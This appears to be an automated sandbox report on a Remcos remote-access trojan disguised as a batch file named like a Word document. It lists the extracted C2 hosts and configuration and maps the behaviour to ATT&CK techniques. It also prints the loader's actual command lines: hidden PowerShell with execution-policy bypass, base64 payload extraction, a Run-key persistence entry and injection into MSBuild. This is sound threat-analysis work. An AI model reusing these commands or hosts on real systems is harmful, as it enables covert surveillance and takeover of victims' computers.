remcos | d8ed131b01ea2d2ba3f2cfdd352707e9de8d609f452726b15033e409a4808c8e

Analysis

max time kernel
300s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 09:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Ref-17-07-2026_45001_Docx.bat
Size 905KB
Sample260718-ll2dpaft5m
SHA256 d8ed131b01ea2d2ba3f2cfdd352707e9de8d609f452726b15033e409a4808c8e
MD5 157a9b12d3546b4550793e2379376e36
SHA1 0484d5e6d4145a45a6796ac079dd15516ea4bec9
SHA512 df11b0ac63045a7d08ccec2a5dbaba1450b43baa2e96622a8d4afca7892d140ed816fe5e99b74f7c8b366debee483fcde84ea7c9ab9da0abdfea167167400634
SSDEEP 12288:PaeLCYmTtWsqHTbcBTyOKTuU2Nl3/AfMNJGN2aHhTrKKEfcZAq:PaeLCYmTgsqHcdZBNRsMNJGN9qu5
TLSH
T1C015F02B2C812E8C2761465B37BBF06707EF5E614B90BD51AADB4E0DE6F071B09B441A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

mne discovery execution remcos persistence rat

Malware Config

Extracted

Family

remcos

Version

7.2.5 Pro

Botnet

dentalux202.ydns.eu:58268
dentalux202bk.ydns.eu:58798

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-8BWQHE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe
4956	powershell.exe
96	powershell.exe
5704	powershell.exe
2860	powershell.exe
712	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoreServiceHostBAT = "\"wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\SystemCoreServices\\CoreServiceLauncher.vbs\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoreServiceHostBAT = "\"wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\SystemCoreServices\\CoreServiceLauncher.vbs\""	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1996	wscript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2860 set thread context of 6096	2860	powershell.exe	104
PID 712 set thread context of 2104	712	powershell.exe	122

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5856	cmd.exe
6064	cmd.exe
2740	cmd.exe
2300	cmd.exe
4880	cmd.exe
5812	cmd.exe
1576	cmd.exe
3060	cmd.exe
3124	cmd.exe
3676	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HOSTNAME.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HOSTNAME.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HOSTNAME.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HOSTNAME.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2736	powershell.exe
2736	powershell.exe
96	powershell.exe
96	powershell.exe
96	powershell.exe
2860	powershell.exe
2860	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
5704	powershell.exe
5704	powershell.exe
5704	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	96	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	5704	powershell.exe
Token: SeDebugPrivilege	712	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 5984	2300	cmd.exe	91
PID 2300 wrote to memory of 4880	2300	cmd.exe	92
PID 2300 wrote to memory of 2736	2300	cmd.exe	93
PID 2736 wrote to memory of 5812	2736	powershell.exe	94
PID 5812 wrote to memory of 1244	5812	cmd.exe	96
PID 5812 wrote to memory of 3124	5812	cmd.exe	97
PID 5812 wrote to memory of 1576	5812	cmd.exe	98
PID 5812 wrote to memory of 244	5812	cmd.exe	99
PID 5812 wrote to memory of 96	5812	cmd.exe	100
PID 5812 wrote to memory of 2860	5812	cmd.exe	101
PID 2860 wrote to memory of 2216	2860	powershell.exe	102
PID 2216 wrote to memory of 1444	2216	csc.exe	103
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 2860 wrote to memory of 6096	2860	powershell.exe	104
PID 1996 wrote to memory of 3676	1996	wscript.exe	107
PID 3676 wrote to memory of 1728	3676	cmd.exe	109
PID 3676 wrote to memory of 5856	3676	cmd.exe	110
PID 3676 wrote to memory of 4956	3676	cmd.exe	111
PID 4956 wrote to memory of 3060	4956	powershell.exe	112
PID 3060 wrote to memory of 4152	3060	cmd.exe	114
PID 3060 wrote to memory of 6064	3060	cmd.exe	115
PID 3060 wrote to memory of 2740	3060	cmd.exe	116
PID 3060 wrote to memory of 6020	3060	cmd.exe	117
PID 3060 wrote to memory of 5704	3060	cmd.exe	118
PID 3060 wrote to memory of 712	3060	cmd.exe	119
PID 712 wrote to memory of 5092	712	powershell.exe	120
PID 5092 wrote to memory of 2132	5092	csc.exe	121
PID 712 wrote to memory of 2104	712	powershell.exe	122
PID 712 wrote to memory of 2104	712	powershell.exe	122
PID 712 wrote to memory of 2104	712	powershell.exe	122
PID 712 wrote to memory of 2104	712	powershell.exe	122
PID 712 wrote to memory of 2104	712	powershell.exe	122
PID 712 wrote to memory of 2104	712	powershell.exe	122
PID 712 wrote to memory of 2104	712	powershell.exe	122

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Ref-17-07-2026_45001_Docx.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\system32\HOSTNAME.EXE
  hostname
  2⤵
  PID:5984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c set PROCESSOR 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:_ModulePathRef+$q+$q+' __initiate_elevated';$i=New-Object System.Diagnostics.ProcessStartInfo('C:\Windows\SysWOW64\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\SysWOW64\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\Ref-17-07-2026_45001_Docx.bat"" __initiate_elevated
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5812
  - - C:\Windows\SysWOW64\HOSTNAME.EXE
      hostname
      4⤵
      System Location Discovery: System Language Discovery
      PID:1244
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set PROCESSOR 2>nul
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:3124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set /a 2681+64
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:1576
  - - C:\Windows\SysWOW64\HOSTNAME.EXE
      hostname
      4⤵
      System Location Discovery: System Language Discovery
      PID:244
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\Ref-17-07-2026_45001_Docx.bat');$t=[Text.Encoding]::ASCII.GetString($b);$i=$t.LastIndexOf('---BEGIN_PS---');if($i -ge 0){[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\winlogon_10380797238318508.ps1',[Convert]::FromBase64String(($t.Substring($i+14)-replace'[\r\n]','')))}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:96
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\winlogon_10380797238318508.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2860
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kmfcmqic\kmfcmqic.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2216
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES89B8.tmp" "c:\Users\Admin\AppData\Local\Temp\kmfcmqic\CSCB6B49277EA1845B582CD33952DCA25AE.TMP"
        6⤵
        
        PID:1444
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6096

C:\Windows\system32\wscript.exe
"wscript.exe" "C:\Users\Admin\AppData\Local\SystemCoreServices\CoreServiceLauncher.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\SystemCoreServices\CoreServiceHost.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\system32\HOSTNAME.EXE
    hostname
    3⤵
    PID:1728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c set PROCESSOR 2>nul
    3⤵
    - Executes a command shell one-liner
    PID:5856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:_ModulePathRef+$q+$q+' __initiate_elevated';$i=New-Object System.Diagnostics.ProcessStartInfo('C:\Windows\SysWOW64\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\SysWOW64\cmd.exe" /c ""C:\Users\Admin\AppData\Local\SystemCoreServices\CoreServiceHost.bat"" __initiate_elevated
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3060
    - - C:\Windows\SysWOW64\HOSTNAME.EXE
        
        hostname
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4152
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set PROCESSOR 2>nul
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        
        PID:6064
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set /a 2681+64
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        
        PID:2740
    - - C:\Windows\SysWOW64\HOSTNAME.EXE
        
        hostname
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6020
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\SystemCoreServices\CoreServiceHost.bat');$t=[Text.Encoding]::ASCII.GetString($b);$i=$t.LastIndexOf('---BEGIN_PS---');if($i -ge 0){[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\winlogon_103821782387727914.ps1',[Convert]::FromBase64String(($t.Substring($i+14)-replace'[\r\n]','')))}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5704
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\winlogon_103821782387727914.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:712
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\duevyps5\duevyps5.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5092
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA31C.tmp" "c:\Users\Admin\AppData\Local\Temp\duevyps5\CSC478B8A8B3B884247BE9B1738BDB5C939.TMP"
        7⤵
        
        PID:2132
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:2104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact